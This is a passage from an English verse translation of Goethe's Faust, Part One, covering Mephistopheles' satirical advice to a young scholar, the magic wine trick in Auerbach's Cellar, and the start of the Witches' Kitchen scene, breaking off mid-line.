_Faust_. But then I _will!\ \ _Mephistopheles_. Now that's worth hearing!\ But one thing haunts me, the old song,\ That time is short and art is long.\ You need some slight advice, I'm fearing.\ Take to you one of the poet-feather,\ Let the gentleman's thought, far-sweeping,\ Bring all the noblest traits together,\ On your one crown their honors heaping,\ The lion's mood\ The stag's rapidity,\ The fiery blood of Italy,\ The Northman's hardihood.\ Bid him teach thee the art of combining\ Greatness of soul with fly designing,\ And how, with warm and youthful passion,\ To fall in love by plan and fashion.\ Should like, myself, to come across 'm,\ Would name him Mr. Microcosm.\ \ _Faust_. What am I then? if that for which my heart\ Yearns with invincible endeavor,\ The crown of man, must hang unreached forever?\ \ _Mephistopheles_. Thou art at last--just what thou art.\ Pile perukes on thy head whose curls cannot be counted,\ On yard-high buskins let thy feet be mounted,\ Still thou art only what thou art.\ \ _Faust_. Yes, I have vainly, let me not deny it,\ Of human learning ransacked all the stores,\ And when, at last, I set me down in quiet,\ There gushes up within no new-born force;\ I am not by a hair's-breadth higher,\ Am to the Infinite no nigher.\ \ _Mephistopheles_. My worthy sir, you see the matter\ As people generally see;\ But we must learn to take things better,\ Before life pleasures wholly flee.\ The deuce! thy head and all that's in it,\ Hands, feet and ------ are thine;\ What I enjoy with zest each minute,\ Is surely not the less mine?\ If I've six horses in my span,\ Is it not mine, their every power?\ I fly along as an undoubted man,\ On four and twenty legs the road I scour.\ Cheer up, then! let all thinking be,\ And out into the world with me!\ I tell thee, friend, a speculating churl\ Is like a beast, some evil spirit chases\ Along a barren heath in one perpetual whirl,\ While round about lie fair, green pasturing places.\ \ _Faust_. But how shall we begin?\ \ _Mephistopheles_. We sally forth e'en now.\ What martyrdom endurest thou!\ What kind of life is this to be living,\ Ennui to thyself and youngsters giving?\ Let Neighbor Belly that way go!\ To stay here threshing straw why car'st thou?\ The best that thou canst think and know\ To tell the boys not for the whole world dar'st thou.\ E'en now I hear one in the entry.\ \ _Faust_. I have no heart the youth to see.\ \ _Mephistopheles_. The poor boy waits there like a sentry,\ He shall not want a word from me.\ Come, give me, now, thy robe and bonnet;\ This mask will suit me charmingly.\ [_He puts them on_.]\ Now for my wit--rely upon it!\ 'Twill take but fifteen minutes, I am sure.\ Meanwhile prepare thyself to make the pleasant tour!\ \ [_Exit_ FAUST.]\ \ _Mephistopheles [in_ FAUST'S _long gown_].\ Only despise all human wit and lore,\ The highest flights that thought can soar--\ Let but the lying spirit blind thee,\ And with his spells of witchcraft bind thee,\ Into my snare the victim creeps.--\ To him has destiny a spirit given,\ That unrestrainedly still onward sweeps,\ To scale the skies long since hath striven,\ And all earth's pleasures overleaps.\ He shall through life's wild scenes be driven,\ And through its flat unmeaningness,\ I'll make him writhe and stare and stiffen,\ And midst all sensual excess,\ His fevered lips, with thirst all parched and riven,\ Insatiably shall haunt refreshment's brink;\ And had he not, himself, his soul to Satan given,\ Still must he to perdition sink!\ \ [_Enter_ A SCHOLAR.]\ \ _Scholar_. I have but lately left my home,\ And with profound submission come,\ To hold with one some conversation\ Whom all men name with veneration.\ \ _Mephistopheles._ Your courtesy greatly flatters me\ A man like many another you see.\ Have you made any applications elsewhere?\ \ _Scholar_. Let me, I pray, your teachings share!\ With all good dispositions I come,\ A fresh young blood and money some;\ My mother would hardly hear of my going;\ But I long to learn here something worth knowing.\ \ _Mephistopheles_. You've come to the very place for it, then.\ \ _Scholar_. Sincerely, could wish I were off again:\ My soul already has grown quite weary\ Of walls and halls, so dark and dreary,\ The narrowness oppresses me.\ One sees no green thing, not a tree.\ On the lecture-seats, I know not what ails me,\ Sight, hearing, thinking, every thing fails me.\ \ _Mephistopheles_. 'Tis all in use, we daily see.\ The child takes not the mother's breast\ In the first instance willingly,\ But soon it feeds itself with zest.\ So you at wisdom's breast your pleasure\ Will daily find in growing measure.\ \ _Scholar_. I'll hang upon her neck, a raptured wooer,\ But only tell me, who shall lead me to her?\ \ _Mephistopheles_. Ere you go further, give your views\ As to which faculty you choose?\ \ _Scholar_. To be right learn'd I've long desired,\ And of the natural world aspired\ To have a perfect comprehension\ In this and in the heavenly sphere.\ \ _Mephistopheles_. I see you're on the right track here;\ But you'll have to give undivided attention.\ \ _Scholar_. My heart and soul in the work'll be found;\ Only, of course, it would give me pleasure,\ When summer holidays come round,\ To have for amusement a little leisure.\ \ _Mephistopheles_. Use well the precious time, it flips away so,\ Yet method gains you time, if I may say so.\ I counsel you therefore, my worthy friend,\ The logical leisures first to attend.\ Then is your mind well trained and cased\ In Spanish boots,[18] all snugly laced,\ So that henceforth it can creep ahead\ On the road of thought with a cautious tread.\ And not at random shoot and strike,\ Zig-zagging Jack-o'-lanthorn-like.\ Then will you many a day be taught\ That what you once to do had thought\ Like eating and drinking, extempore,\ Requires the rule of one, two, three.\ It is, to be sure, with the fabric of thought,\ As with the _chef d'œuvre_ by weavers wrought,\ Where a thousand threads one treadle plies,\ Backward and forward the shuttles keep going,\ Invisibly the threads keep flowing,\ One stroke a thousand fastenings ties:\ Comes the philosopher and cries:\ I'll show you, it could not be otherwise:\ The first being so, the second so,\ The third and fourth must of course be so;\ And were not the first and second, you see,\ The third and fourth could never be.\ The scholars everywhere call this clever,\ But none have yet become weavers ever.\ Whoever will know a live thing and expound it,\ First kills out the spirit it had when he found it,\ And then the parts are all in his hand,\ Minus only the spiritual band!\ Encheiresin naturæ's[19] the chemical name,\ By which dunces themselves unwittingly shame.\ \ _Scholar_. Cannot entirely comprehend you.\ \ _Mephistopheles_. Better success will shortly attend you,\ When you learn to analyze all creation\ And give it a proper classification.\ \ _Scholar_. I feel as confused by all you've said,\ As if 'twere a mill-wheel going round in my head!\ \ _Mephistopheles_. The next thing most important to mention,\ Metaphysics will claim your attention!\ There see that you can clearly explain\ What fits not into the human brain:\ For that which will not go into the head,\ A pompous word will stand you in stead.\ But, this half-year, at least, observe\ From regularity never to swerve.\ You'll have five lectures every day;\ Be in at the stroke of the bell I pray!\ And well prepared in every part;\ Study each paragraph by heart,\ So that you scarce may need to look\ To see that he says no more than's in the book;\ And when he dictates, be at your post,\ As if you wrote for the Holy Ghost!\ \ _Scholar_. That caution is unnecessary!\ I know it profits one to write,\ For what one has in black and white,\ He to his home can safely carry.\ \ _Mephistopheles_. But choose some faculty, I pray!\ \ _Scholar_. I feel a strong dislike to try the legal college.\ \ _Mephistopheles_. I cannot blame you much, I must acknowledge.\ I know how this profession stands to-day.\ Statutes and laws through all the ages\ Like a transmitted malady you trace;\ In every generation still it rages\ And softly creeps from place to place.\ Reason is nonsense, right an impudent suggestion;\ Alas for thee, that thou a grandson art!\ Of inborn law in which each man has part,\ Of that, unfortunately, there's no question.\ \ _Scholar_. My loathing grows beneath your speech.\ O happy he whom you shall teach!\ To try theology I'm almost minded.\ \ _Mephistopheles_. I must not let you by zeal be blinded.\ This is a science through whose field\ Nine out of ten in the wrong road will blunder,\ And in it so much poison lies concealed,\ That mould you this mistake for physic, no great wonder.\ Here also it were best, if only one you heard\ And swore to that one master's word.\ Upon the whole--words only heed you!\ These through the temple door will lead you\ Safe to the shrine of certainty.\ \ _Scholar_. Yet in the word a thought must surely be.\ \ _Mephistopheles_. All right! But one must not perplex himself about it;\ For just where one must go without it,\ The word comes in, a friend in need, to thee.\ With words can one dispute most featly,\ With words build up a system neatly,\ In words thy faith may stand unshaken,\ From words there can be no iota taken.\ \ _Scholar_. Forgive my keeping you with many questions,\ Yet must I trouble you once more,\ Will you not give me, on the score\ Of medicine, some brief suggestions?\ Three years are a short time, O God!\ And then the field is quite too broad.\ If one had only before his nose\ Something else as a hint to follow!--\ \ _Mephistopheles_ [_aside_]. I'm heartily tired of this dry prose,\ Must play the devil again out hollow.\ [_Aloud_.]\ The healing art is quickly comprehended;\ Through great and little world you look abroad,\ And let it wag, when all is ended,\ As pleases God.\ Vain is it that your science sweeps the skies,\ Each, after all, learns only what he can;\ Who grasps the moment as it flies\ He is the real man.\ Your person somewhat takes the eye,\ Boldness you'll find an easy science,\ And if you on yourself rely,\ Others on you will place reliance.\ In the women's good graces seek first to be seated;\ Their oh's and ah's, well known of old,\ So thousand-fold,\ Are all from a single point to be treated;\ Be decently modest and then with ease\ You may get the blind side of them when you please.\ A title, first, their confidence must waken,\ That _your_ art many another art transcends,\ Then may you, lucky man, on all those trifles reckon\ For which another years of groping spends:\ Know how to press the little pulse that dances,\ And fearlessly, with sly and fiery glances,\ Clasp the dear creatures round the waist\ To see how tightly they are laced.\ \ _Scholar_. This promises! One loves the How and Where to see!\ \ _Mephistopheles_. Gray, worthy friend, is all your theory\ And green the golden tree of life.\ \ _Scholar_. I seem,\ I swear to you, like one who walks in dream.\ Might I another time, without encroaching,\ Hear you the deepest things of wisdom broaching?\ \ _Mephistopheles_. So far as I have power, you may.\ \ _Scholar_. I cannot tear myself away,\ Till I to you my album have presented.\ Grant me one line and I'm contented!\ \ _Mephistopheles_. With pleasure.\ [_Writes and returns it_.]\ \ _Scholar [reads]._ Eritis sicut Deus, scientes bonum et malum.\ [_Shuts it reverently, and bows himself out_.]\ \ _Mephistopheles_.\ Let but the brave old saw and my aunt, the serpent, guide thee,\ And, with thy likeness to God, shall woe one day betide thee!\ \ _Faust [enters_]. Which way now shall we go?\ \ _Mephistopheles_. Which way it pleases thee.\ The little world and then the great we see.\ O with what gain, as well as pleasure,\ Wilt thou the rollicking cursus measure!\ \ _Faust_. I fear the easy life and free\ With my long beard will scarce agree.\ 'Tis vain for me to think of succeeding,\ I never could learn what is called good-breeding.\ In the presence of others I feel so small;\ I never can be at my ease at all.\ \ _Mephistopheles_. Dear friend, vain trouble to yourself you're giving;\ Whence once you trust yourself, you know the art of living.\ \ _Faust_. But how are we to start, I pray?\ Where are thy servants, coach and horses?\ \ _Mephistopheles_. We spread the mantle, and away\ It bears us on our airy courses.\ But, on this bold excursion, thou\ Must take no great portmanteau now.\ A little oxygen, which I will soon make ready,\ From earth uplifts us, quick and steady.\ And if we're light, we'll soon surmount the sphere;\ I give thee hearty joy in this thy new career.\ \ \ \ \ AUERBACH'S CELLAR IN LEIPSIC.[20]\ \ _Carousal of Jolly Companions_.\ \ \ _Frosch_.[21] Will nobody drink? Stop those grimaces!\ I'll teach you how to be cutting your faces!\ Laugh out! You're like wet straw to-day,\ And blaze, at other times, like dry hay.\ \ _Brander_. 'Tis all your fault; no food for fun you bring,\ Not a nonsensical nor nasty thing.\ \ _Frosch [dashes a glass of wine over his bead_]. There you have both!\ \ _Brander_. You hog twice o'er!\ \ _Frosch_. You wanted it, what would you more?\ \ _Siebel_ Out of the door with them that brawl!\ Strike up a round; swill, shout there, one and all!\ Wake up! Hurra!\ \ _Altmayer_. Woe's me, I'm lost! Bring cotton!\ The rascal splits my ear-drum.\ \ _Siebel_. Only shout on!\ When all the arches ring and yell,\ Then does the base make felt its true ground-swell.\ \ _Frosch_. That's right, just throw him out, who undertakes to fret!\ A! tara! lara da!\ \ _Altmayer_. A! tara! lara da!\ \ _Frosch_. Our whistles all are wet.\ [_Sings_.]\ The dear old holy Romish realm,\ What holds it still together?\ \ _Brander_. A sorry song! Fie! a political song!\ A tiresome song! Thank God each morning therefor,\ That you have not the Romish realm to care for!\ At least I count it a great gain that He\ Kaiser nor chancellor has made of me.\ E'en we can't do without a head, however;\ To choose a pope let us endeavour.\ You know what qualification throws\ The casting vote and the true man shows.\ \ _Frosch [sings_].\ Lady Nightingale, upward soar,\ Greet me my darling ten thousand times o'er.\ \ _Siebel_. No greetings to that girl! Who does so, I resent it!\ \ _Frosch_. A greeting and a kiss! And you will not prevent it!\ [_Sings.]_\ Draw the bolts! the night is clear.\ Draw the bolts! Love watches near.\ Close the bolts! the dawn is here.\ \ _Siebel_. Ay, sing away and praise and glorify your dear!\ Soon I shall have my time for laughter.\ The jade has jilted me, and will you too hereafter;\ May Kobold, for a lover, be her luck!\ At night may he upon the cross-way meet her;\ Or, coming from the Blocksberg, some old buck\ May, as he gallops by, a good-night bleat her!\ A fellow fine of real flesh and blood\ Is for the wench a deal too good.\ She'll get from me but one love-token,\ That is to have her window broken!\ \ _Brander [striking on the table_]. Attend! attend! To me give ear!\ I know what's life, ye gents, confess it:\ We've lovesick people sitting near,\ And it is proper they should hear\ A good-night strain as well as I can dress it.\ Give heed! And hear a bran-new song!\ Join in the chorus loud and strong!\ [_He sings_.]\ A rat in the cellar had built his nest,\ He daily grew sleeker and smoother,\ He lined his paunch from larder and chest,\ And was portly as Doctor Luther.\ The cook had set him poison one day;\ From that time forward he pined away\ As if he had love in his body.\ \ _Chorus [flouting_]. As if he had love in his body.\ \ _Brander_. He raced about with a terrible touse,\ From all the puddles went swilling,\ He gnawed and he scratched all over the house,\ His pain there was no stilling;\ He made full many a jump of distress,\ And soon the poor beast got enough, I guess,\ As if he had love in his body.\ \ _Chorus_. As if he had love in his body.\ \ _Brander_. With pain he ran, in open day,\ Right up into the kitchen;\ He fell on the hearth and there he lay\ Gasping and moaning and twitchin'.\ Then laughed the poisoner: \"He! he! he!\ He's piping on the last hole,\" said she,\ \"As if he had love in his body.\"\ \ _Chorus_. As if he had love in his body.\ \ _Siebel_. Just hear now how the ninnies giggle!\ That's what I call a genuine art,\ To make poor rats with poison wriggle!\ \ _Brander_. You take their case so much to heart?\ \ _Altmayer_. The bald pate and the butter-belly!\ The sad tale makes him mild and tame;\ He sees in the swollen rat, poor fellow!\ His own true likeness set in a frame.\ \ \ FAUST _and_ MEPHISTOPHELES.\ \ _Mephistopheles_. Now, first of all, 'tis necessary\ To show you people making merry,\ That you may see how lightly life can run.\ Each day to this small folk's a feast of fun;\ Not over-witty, self-contented,\ Still round and round in circle-dance they whirl,\ As with their tails young kittens twirl.\ If with no headache they're tormented,\ Nor dunned by landlord for his pay,\ They're careless, unconcerned, and gay.\ \ _Brander_. They're fresh from travel, one might know it,\ Their air and manner plainly show it;\ They came here not an hour ago.\ \ _Frosch_. Thou verily art right! My Leipsic well I know!\ Paris in small it is, and cultivates its people.\ \ _Siebel_. What do the strangers seem to thee?\ \ _Frosch_. Just let me go! When wine our friendship mellows,\ Easy as drawing a child's tooth 'twill be\ To worm their secrets out of these two fellows.\ They're of a noble house, I dare to swear,\ They have a proud and discontented air.\ \ _Brander_. They're mountebanks, I'll bet a dollar!\ \ _Altmayer_. Perhaps.\ \ _Frosch_. I'll smoke them, mark you that!\ \ _Mephistopheles_ [_to Faust_]. These people never smell the old rat,\ E'en when he has them by the collar.\ \ _Faust_. Fair greeting to you, sirs!\ \ _Siebel_. The same, and thanks to boot.\ [_In a low tone, faking a side look at MEPHISTOPHELES_.]\ Why has the churl one halting foot?\ \ _Mephistopheles_. With your permission, shall we make one party?\ Instead of a good drink, which get here no one can,\ Good company must make us hearty.\ \ _Altmayer_. You seem a very fastidious man.\ \ _Frosch_. I think you spent some time at Rippach[22] lately?\ You supped with Mister Hans not long since, I dare say?\ \ _Mephistopheles_. We passed him on the road today!\ Fine man! it grieved us parting with him, greatly.\ He'd much to say to us about his cousins,\ And sent to each, through us, his compliments by dozens.\ [_He bows to_ FROSCH.]\ \ _Altmayer_ [_softly_]. You've got it there! he takes!\ \ _Siebel_. The chap don't want for wit!\ \ _Frosch_. I'll have him next time, wait a bit!\ \ _Mephistopheles_. If I mistook not, didn't we hear\ Some well-trained voices chorus singing?\ 'Faith, music must sound finely here.\ From all these echoing arches ringing!\ \ _Frosch_. You are perhaps a connoisseur?\ \ _Mephistopheles_. O no! my powers are small, I'm but an amateur.\ \ _Altmayer_. Give us a song!\ \ _Mephistopheles_. As many's you desire.\ \ _Siebel_. But let it be a bran-new strain!\ \ _Mephistopheles_. No fear of that! We've just come back from Spain,\ The lovely land of wine and song and lyre.\ [_Sings_.]\ There was a king, right stately,\ Who had a great, big flea,--\ \ _Frosch_. Hear him! A flea! D'ye take there, boys? A flea!\ I call that genteel company.\ \ _Mephistopheles_ [_resumes_]. There was a king, right stately,\ Who had a great, big flea,\ And loved him very greatly,\ As if his own son were he.\ He called the knight of stitches;\ The tailor came straightway:\ Ho! measure the youngster for breeches,\ And make him a coat to-day!\ \ _Brander_. But don't forget to charge the knight of stitches,\ The measure carefully to take,\ And, as he loves his precious neck,\ To leave no wrinkles in the breeches.\ \ _Mephistopheles_. In silk and velvet splendid\ The creature now was drest,\ To his coat were ribbons appended,\ A cross was on his breast.\ He had a great star on his collar,\ Was a minister, in short;\ And his relatives, greater and smaller,\ Became great people at court.\ \ The lords and ladies of honor\ Fared worse than if they were hung,\ The queen, she got them upon her,\ And all were bitten and stung,\ And did not dare to attack them,\ Nor scratch, but let them stick.\ We choke them and we crack them\ The moment we feel one prick.\ \ _Chorus_ [_loud_]. We choke 'em and we crack 'em\ The moment we feel one prick.\ \ _Frosch_. Bravo! Bravo! That was fine!\ \ _Siebel_. So shall each flea his life resign!\ \ _Brander_. Point your fingers and nip them fine!\ \ _Altmayer_. Hurra for Liberty! Hurra for Wine!\ \ _Mephistopheles_. I'd pledge the goddess, too, to show how high I set her,\ Right gladly, if your wines were just a trifle better.\ \ _Siebel_. Don't say that thing again, you fretter!\ \ _Mephistopheles_. Did I not fear the landlord to affront;\ I'd show these worthy guests this minute\ What kind of stuff our stock has in it.\ \ _Siebel_. Just bring it on! I'll bear the brunt.\ \ _Frosch_. Give us a brimming glass, our praise shall then be ample,\ But don't dole out too small a sample;\ For if I'm to judge and criticize,\ I need a good mouthful to make me wise.\ \ _Altmayer_ [_softly_]. They're from the Rhine, as near as I can make it.\ \ _Mephistopheles_. Bring us a gimlet here!\ \ _Brander_. What shall be done with that?\ You've not the casks before the door, I take it?\ \ _Altmayer_. The landlord's tool-chest there is easily got at.\ \ _Mephistopheles_ [_takes the gimlet_] (_to Frosch_).\ What will you have? It costs but speaking.\ \ _Frosch_. How do you mean? Have you so many kinds?\ \ _Mephistopheles_. Enough to suit all sorts of minds.\ \ _Altmayer_. Aha! old sot, your lips already licking!\ \ _Frosch_. Well, then! if I must choose, let Rhine-wine fill my beaker,\ Our fatherland supplies the noblest liquor.\ \ MEPHISTOPHELES\ [_boring a hole in the rim of the table near the place\ where_ FROSCH _sits_].\ Get us a little wax right off to make the stoppers!\ \ _Altmayer_. Ah, these are jugglers' tricks, and whappers!\ \ _Mephistopheles_ [_to Brander_]. And you?\ \ _Brander_. Champaigne's the wine for me,\ But then right sparkling it must be!\ \ [MEPHISTOPHELES _bores; meanwhile one of them has made\ the wax-stoppers and stopped the holes_.]\ \ _Brander_. Hankerings for foreign things will sometimes haunt you,\ The good so far one often finds;\ Your real German man can't bear the French, I grant you,\ And yet will gladly drink their wines.\ \ _Siebel_ [_while Mephistopheles approaches his seat_].\ I don't like sour, it sets my mouth awry,\ Let mine have real sweetness in it!\ \ _Mephistopheles_ [_bores_]. Well, you shall have Tokay this minute.\ \ _Altmayer_. No, sirs, just look me in the eye!\ I see through this, 'tis what the chaps call smoking.\ \ _Mephistopheles_. Come now! That would be serious joking,\ To make so free with worthy men.\ But quickly now! Speak out again!\ With what description can I serve you?\ \ _Altmayer_. Wait not to ask; with any, then.\ \ [_After all the holes are bored and stopped_.]\ \ _Mephistopheles_ [_with singular gestures_].\ From the vine-stock grapes we pluck;\ Horns grow on the buck;\ Wine is juicy, the wooden table,\ Like wooden vines, to give wine is able.\ An eye for nature's depths receive!\ Here is a miracle, only believe!\ Now draw the plugs and drink your fill!\ \ ALL\ [_drawing the stoppers, and catching each in his glass\ the wine he had desired_].\ Sweet spring, that yields us what we will!\ \ _Mephistopheles_. Only be careful not a drop to spill!\ [_They drink repeatedly_.]\ \ _All_ [_sing_]. We're happy all as cannibals,\ Five hundred hogs together.\ \ _Mephistopheles_. Look at them now, they're happy as can be!\ \ _Faust_. To go would suit my inclination.\ \ _Mephistopheles_. But first give heed, their bestiality\ Will make a glorious demonstration.\ \ SIEBEL\ [_drinks carelessly; the wine is spilt upon the ground\ and turns to flame_].\ Help! fire! Ho! Help! The flames of hell!\ \ _Mephistopheles [_conjuring the flame_].\ Peace, friendly element, be still!\ [_To the Toper_.]\ This time 'twas but a drop of fire from purgatory.\ \ _Siebel_. What does this mean? Wait there, or you'll be sorry!\ It seems you do not know us well.\ \ _Frosch_. Not twice, in this way, will it do to joke us!\ \ _Altmayer_. I vote, we give him leave himself here _scarce_ to make.\ \ _Siebel_. What, sir! How dare you undertake\ To carry on here your old hocus-pocus?\ \ _Mephistopheles_. Be still, old wine-cask!\ \ _Siebel_. Broomstick, you!\ Insult to injury add? Confound you!\ \ _Brander_. Stop there! Or blows shall rain down round you!\ \ ALTMAYER\ [_draws a stopper out of the table; fire flies at him_].\ I burn! I burn!\ \ _Siebel_. Foul sorcery! Shame!\ Lay on! the rascal is fair game!\ \ [_They draw their knives and rush at_ MEPHISTOPHELES.]\ \ _Mephistopheles_ [_with a serious mien_].\ Word and shape of air!\ Change place, new meaning wear!\ Be here--and there!\ \ [_They stand astounded and look at each other_.]\ \ _Altmayer_. Where am I? What a charming land!\ \ _Frosch_. Vine hills! My eyes! Is't true?\ \ _Siebel_. And grapes, too, close at hand!\ \ _Brander_. Beneath this green see what a stem is growing!\ See what a bunch of grapes is glowing!\ [_He seizes_ SIEBEL _by the nose. The rest do the same to each\ other and raise their knives._]\ \ _Mephistopheles_ [_as above_]. Loose, Error, from their eyes the band!\ How Satan plays his tricks, you need not now be told of.\ [_He vanishes with_ FAUST, _the companions start back from each\ other_.]\ \ _Siebel_. What ails me?\ \ _Altmayer_. How?\ \ _Frosch_. Was that thy nose, friend, I had hold of?\ \ _Brander_ [_to Siebel_]. And I have thine, too, in my hand!\ \ _Altmayer_. O what a shock! through all my limbs 'tis crawling!\ Get me a chair, be quick, I'm falling!\ \ _Frosch_. No, say what was the real case?\ \ _Siebel_. O show me where the churl is hiding!\ Alive he shall not leave the place!\ \ _Altmayer_. Out through the cellar-door I saw him riding--\ Upon a cask--he went full chase.--\ Heavy as lead my feet are growing.\ \ [_Turning towards the table_.]\ \ My! If the wine should yet be flowing.\ \ _Siebel_. 'Twas all deception and moonshine.\ \ _Frosch_. Yet I was sure I did drink wine.\ \ _Brander_. But how about the bunches, brother?\ \ _Altmayer_. After such miracles, I'll doubt no other!\ \ \ \ \ WITCHES' KITCHEN.\ \ [_On a low hearth stands a great kettle over the fire. In the smoke,\ which rises from it, are seen various forms. A female monkey[28] sits by\ the kettle and skims it, and takes care that it does not run over. The\ male monkey with the young ones sits close by, warming himself. Walls and\ ceiling are adorned 'with the most singular witch-household stuff_.]\ \ \ FAUST. MEPHISTOPHELES.\ \ _Faust_. Would that this vile witch-business were well over!\ Dost promise me I shall recover\ In this hodge-podge of craziness?\ From an old hag do I advice require?\ And will this filthy cooked-up mess\ My youth by thirty years bring nigher?\ Woe's me, if that's the best you know!\ Already hope is from my bosom banished.\ Has not a noble mind found long ago\ Some balsam to restore a youth that's vanished?\ \ _Mephistopheles_. My friend, again thou speakest a wise thought!\ I know a natural way to make thee young,--none apter!\ But in another book it must be sought,\ And is a quite peculiar chapter.\ \ _Faust_. I beg to know it.\ \ _Mephistopheles_. Well! here's one that needs no pay,\ No help of physic, nor enchanting.\ Out to the fields without delay,\ And take to hacking, digging, planting;\ Run the same round from day to day,\ A treadmill-life, contented, leading,\ With simple fare both mind and body feeding,\ Live with the beast as beast, nor count it robbery\ Shouldst thou manure, thyself, the field thou reapest;\ Follow this course and, trust to me,\ For eighty years thy youth thou keepest!\ \ _Faust_. I am not used to that, I ne'er could bring me to it,\ To wield the spade, I could not do it.\ The narrow life befits me not at all.\ \ _Mephistopheles_. So must we on the witch, then, call.\ \ _Faust_. But why just that old hag? Canst thou\ Not brew thyself the needful liquor?\ \ _Mephistopheles_. That were a pretty pastime now\ I'd build about a thousand bridges quicker.\ Science and art alone won't do,\ The work will call for patience, too;\ Costs a still spirit years of occupation:\ Time, only, strengthens the fine fermentation.\ To tell each thing that forms a part\ Would sound to thee like wildest fable!\ The devil indeed has taught the art;\ To make it not the devil is able.\ [_Espying the animals_.]\ See, what a genteel breed we here parade!\ This is the house-boy! that's the maid!\ [_To the animals_.]\ Where's the old lady gone a mousing?\ \ _The animals_. Carousing;\ Out she went\ By the chimney-vent!\ \ _Mephistopheles_. How long does she spend in gadding and storming?\ \ _The animals_. While we are giving our paws a warming.\ \ _Mephistopheles_ [_to Faust_]. How do you find the dainty creatures?\ \ _Faust_. Disgusting as I ever chanced to see!\ \ _Mephistopheles_. No! a discourse like this to me,\ I own, is one of life's most pleasant features;\ [_To the animals_.]\ Say, cursed dolls, that sweat, there, toiling!\ What are you twirling with the spoon?\ \ _Animals_. A common beggar-soup we're boiling.\ \ _Mephistopheles_. You'll have a run of custom soon.\ \ THE HE-MONKEY\ [_Comes along and fawns on_ MEPHISTOPHELES].\ O fling up the dice,\ Make me rich in a trice,\ Turn fortune's wheel over!\ My lot is right bad,\ If money I had,\ My wits would recover.\ \ _Mephistopheles_. The monkey'd be as merry as a cricket,\ Would somebody give him a lottery-ticket!\ \ [_Meanwhile the young monkeys have been playing with a great\ ball, which they roll backward and forward_.]\ \ _The monkey_. 'The world's the ball;\ See't rise and fall,\ Its roll you follow;\ Like glass it rings:\ Both, brittle things!\ Within 'tis hollow.\ There it shines clear,\ And brighter here,--\ I live--by 'Pollo!--\ Dear son, I pray,\ Keep hands away!\ _Thou_ shalt fall so!\ 'Tis made of clay,\ Pots are, also.\ \ _Mephistopheles_. What means the sieve?\ \ _The monkey [takes it down_]. Wert thou a thief,\ 'Twould show the thief and shame him.\ [_Runs to his mate and makes her look through_.]\ Look through the sieve!\ Discern'st thou the thief,\ And darest not name him?\ \ _Mephistopheles [approaching the fire_]. And what's this pot?\ \ _The monkeys_. The dunce! I'll be shot!\ He knows not the pot,\ He knows not the kettle!\ \ _Mephistopheles_. Impertinence! Hush!\ \ _The monkey_. Here, take you the brush,\ And sit on the settle!\ [_He forces_ MEPHISTOPHELES _to sit down_.]\ \ FAUST\ [_who all this time has been standing before a looking-glass,\ now approaching and now receding from it_].\ \ What do I see? What heavenly face\ Doth, in this magic glass, enchant me!\ O love, in mercy, now, thy swiftest pinions grant me!\ And bear me to her field of space!\ Ah, if I seek to approach what doth so haunt me,\ If from this spot I dare to stir,\ Dimly as through a mist I gaze on her!--\ The loveliest vision of a woman!\ Such lovely woman can there be?\ Must I in these reposing limbs naught human.\ But of all heavens the finest essence see?\ Was such a thing on earth seen ever?\ \ _Mephistopheles_. Why, when you see a God six days in hard work spend,\ And then cry bravo at the end,\ Of course you look for something clever.\ Look now thy fill; I have for thee\ Just such a jewel, and will lead thee to her;\ And happy, whose good fortune it shall be,\ To bear her home, a prospered wooer!\ \ [FAUST _keeps on looking into the mirror_. MEPHISTOPHELES\ _stretching himself out on the settle and playing with the brush,\ continues speaking_.]\ Here sit I like a king upon his throne,\ The sceptre in my hand,--I want the crown alone.\ \ THE ANIMALS\ [_who up to this time have been going through all sorts of queer antics\ with each other, bring_ MEPHISTOPHELES _a crown with a loud cry_].\ O do be so good,--\ With sweat and with blood,\ To take it and lime it;\ [_They go about clumsily with the crown and break it into two pieces,\ with which they jump round_.]\ 'Tis done now! We're free!\ We speak and we see,\ We hear and we rhyme it;\ \ _Faust [facing the mirror_]. Woe's me! I've almost lost my wits.\ \ _Mephistopheles [pointing to the animals_].\ My head, too, I confess, is very near to spinning.\ \ _The animals_. And then if it hits\ And every thing fits,\ We've thoughts for our winning.\ \ _Faust [as before_]. Up to my heart the flame is flying!\ Let us begone--there's danger near!\ \ _Mephistopheles [in the former position_].\ Well, this, at least, there's no denying,\ That we have undissembled poets here.\ \ [The kettle, which the she-monkey has hitherto left unmatched, begins to\ run over; a great flame breaks out, which roars up the chimney. The_ WITCH\ _comes riding down through the flame with a terrible outcry_.]\ \ _Witch_. Ow! Ow! Ow! Ow!\ The damned beast! The cursed sow!\ Neglected the kettle, scorched the Frau!\ The cursed crew!\ [_Seeing_ FAUST _and_ MEPHISTOPHELES.]\ And who are you?\ And what d'ye do?\ And what d'ye want?\ And who sneaked in?\ The fire-plague grim\ Shall light on him\ In every limb!\ \ [_She makes a dive at the kettle with the skimmer and spatters flames\ at _FAUST, MEPHISTOPHELES_, and the creatures. These last whimper_.]\ \ MEPHISTOPHELES\ [_inverting the brush which he holds in his hand, and striking\ among the glasses and pots_].\ \ In two! In two!\ There lies the brew!\ There lies the glass!\ This joke must pass;\ For time-beat, ass!\ To thy melody, 'twill do.\ [_While the_ WITCH _starts back full of wrath and horror.]\ Skeleton! Scarcecrow! Spectre! Know'st thou me,\ Thy lord and master? What prevents my dashing\ Right in among thy cursed company,\ Thyself and all thy monkey spirits smashing?\ Has the red waistcoat thy respect no more?\ Has the cock's-feather, too, escaped attention?\ Hast never seen this face before?\ My name, perchance, wouldst have me mention?\ \ _The witch_. Pardon the rudeness, sir, in me!\ But sure no cloven foot I see.\ Nor find I your two ravens either.\ \ _Mephistopheles_. I'll let thee off for this once so;\ For a long while has passed, full well I know,\ Since the last time we met together.\ The culture, too, which licks the world to shape,\ The devil himself cannot escape;\ The phantom of the North men's thoughts have left behind them,\ Horns, tail, and claws, where now d'ye find them?\ And for the foot, with which dispense I nowise can,\ 'Twould with good circles hurt my standing;\ And so I've worn, some years, like many a fine young man,\ False calves to make me more commanding.\ \ _The witch [dancing_]. O I shall lose my wits, I fear,\ Do I, again, see Squire Satan here!\ \ _Mephistopheles_. Woman, the name offends my ear!\ \ _The witch_. Why so? What has it done to you?\ \ _Mephistopheles_. It has long since to fable-books been banished;\ But men are none the better for it; true,\ The wicked _one_, but not the wicked _ones_, has vanished.\ Herr Baron callst thou me, then all is right and good;\ I am a cavalier, like others. Doubt me?\ Doubt for a moment of my noble blood?\ See here the family arms I bear about me!\ [_He makes an indecent gesture.]\ \ The witch [laughs immoderately_]. Ha! ha! full well I know you, sir!\ You are the same old rogue you always were!\ \ _Mephistopheles [to Faust_]. I pray you, carefully 